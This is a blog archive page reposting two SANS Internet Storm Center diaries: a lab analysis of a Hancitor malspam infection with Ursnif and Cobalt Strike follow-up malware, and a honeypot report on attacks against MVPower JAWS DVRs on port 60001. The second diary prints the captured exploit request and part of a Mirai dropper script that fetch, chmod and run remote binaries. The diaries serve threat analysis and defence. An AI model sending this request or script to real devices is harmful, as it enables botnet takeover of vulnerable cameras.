Archive for November 19th, 2019

Hancitor infection with Pony, Evil Pony, Ursnif, and Cobalt Strike, (Wed, Nov 20th)


Hancitor (also known as Chanitor or Tordal) is malware spread through malicious spam (malspam).  Hancitor infections most often include Pony and Evil Pony as follow-up malware.  Hancitor also pushed Zeus Panda Banker as additional follow-up malware until November 2018, when it switched from Zeus Panda Banker to Ursnif.  Follow-up malware usually remained Pony, Evil Pony, and/or Ursnif until July 2019, when we started seeing Cobalt Strike as additional follow-up malware.

Current malspam campaigns pushing Hancitor have been using the same DocuSign-themed email template since early October 2019.  However, traffic patterns have evolved since then, so today’s diary reviews indicators of a recent Hancitor infection on 2019-11-19.

Shown above:  Flow chart for recent Hancitor infections since early October 2019.

The malspam

According to this Twitter thread started by @wwp96, malspam pushing Hancitor on Tuesday 2019-11-19 used [email protected] as the spoofed sending address, and subject lines all had the word DocuSign in them.  I was not able to obtain a copy of the 2019-11-19 malspam, but below is an image of email headers from similar Hancitor malspam on Monday 2019-11-28.

Shown above:  An example of headers from malspam pushing Hancitor on Monday 2019-10-28.

Some links seen in emails from this wave of Hancitor malspam are shown in the image below from a Pastebin post created by @James_inthe_box.

Shown above: Some links from malspam pushing Hancitor on Tuesday 2019-11-19.

Shown above:  Link from an email redirecting to another URL.

Infection traffic

The link redirected to in the above image returned a zip archive as shown below.

Shown above:  Zip archive delivered from redirect after clicking link in Hancitor malspam.

After I extracted the VBS file from the downloaded zip archive, I used it to infect a vulnerable Windows host in my lab environment.

Shown above:  Traffic from an infection in my lab environment filtered in Wireshark.

The initial infection in my lab environment did not have Cobalt Strike; however, when I ran the Hancitor DLL in an Any.Run sandbox, it generated post-infection traffic associated with Cobalt Strike.

Shown above:  Hancitor infection traffic with Ursnif and Cobalt Strike as the follow-up malware.

Post-infection forensics

The Hancitor DLL was stored with a .txt file extension in my infected user’s AppDataLocalTemp directory.  I also saw indictors of the initial Ursnif EXE in the AppDataLocalTemp directory.  In my lab, Ursnif updated the Windows registry to stay persistent.  I did not find any indicators of Hancitor remaining persistent.  After a reboot, my Hancitor infection stopped (even though Ursnif continued).

Shown above:  Artifacts from a Hancitor infection with Ursnif in my lab environment.

Shown above:  Ursnif persistent on an infected Windows host.

Final words

Hancitor malspam is most often caught by an organization’s spam filters, so I don’t consider this a high-risk threat.  As always, if your organization follows best security practices, you’re not likely to get infected.  Up-to-date versions of Windows 10 with the latest security measures should be enough to stop this threat.  If you’re still running Windows 7, well-known techniques like Software Restriction Policies (SRP) or AppLocker can prevent this and other malspam-based activity.

So why do we continue to see malspam pushing Hancitor and other relatively easy-to-detect malware?  As long as it’s profitable for the criminals behind it, we’ll continue to see this type of malspam.

Pcaps and malware from the infection covered in today’s diary is available here.

Brad Duncan
brad [at]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Cheap Chinese JAWS of DVR Exploitability on Port 60001, (Tue, Nov 19th)

Looking at some local IP addresses in our database during class this week, I came across a host scanning exclusively for %%port:60001%%. Interestingly, we did see a marked increase in scans for this port in recent weeks. 

To get to the bottom of this, I set up a quick TCP listener on port 60,001 on a honeypot. Within seconds, an attack reached the honeypot:

GET /shell?cd+/tmp;rm+-rf+b;wget+;chmod+777+b;sh+b;rm+-rf+b HTTP/1.1
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Downloading the “advertised” file leads to (sorry the bad language):




for Binary in $BINARIES; do
    wget http://$WEBSERVER/$Binary -O bigbotPein
    chmod 777 bigbotPein
    ./bigbotPein arm

rm -f bigbotPein b

I downloaded the “arm7” file, and also found an “x86” file on the same host. The sha256 hashes:

8948e12836c219506a6541316cb2d6f9dbe0c27f984b7b7117b15db85a425f9d  x86
8292a8b60ba245370856fcf807c854854578fd0c82a04a616a24fb76e04a1eb4  arm7

Virustotal identifies these binaries as Mirai variants. Mirai type botnets have been adding more and more web application vulnerabilities to their repertoire.

The exploit appears to match an “MVPower DVR Jaws” remote code execution vulnerability [1]. While the original report of this vulnerability indicated that the webserver was running on port 80, it looks like the bad guys found a good size population of these DVRs listening on port 60001. The pentest report from Pentest Partners regarding this vulnerability shows almost comical incompetence of whoever coded the firmware for these cameras. Moving the webserver to a “hidden” port like 60,001 appears to be considered a likely security measure by a company producing this kind of trash.

A quick Shodan query suggests that out of the about 100k exposed “JAWS” servers. 76k of them are listening on port 60001 (only 10k on port 80). These web servers have an unusually large concentration in Iran.



Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →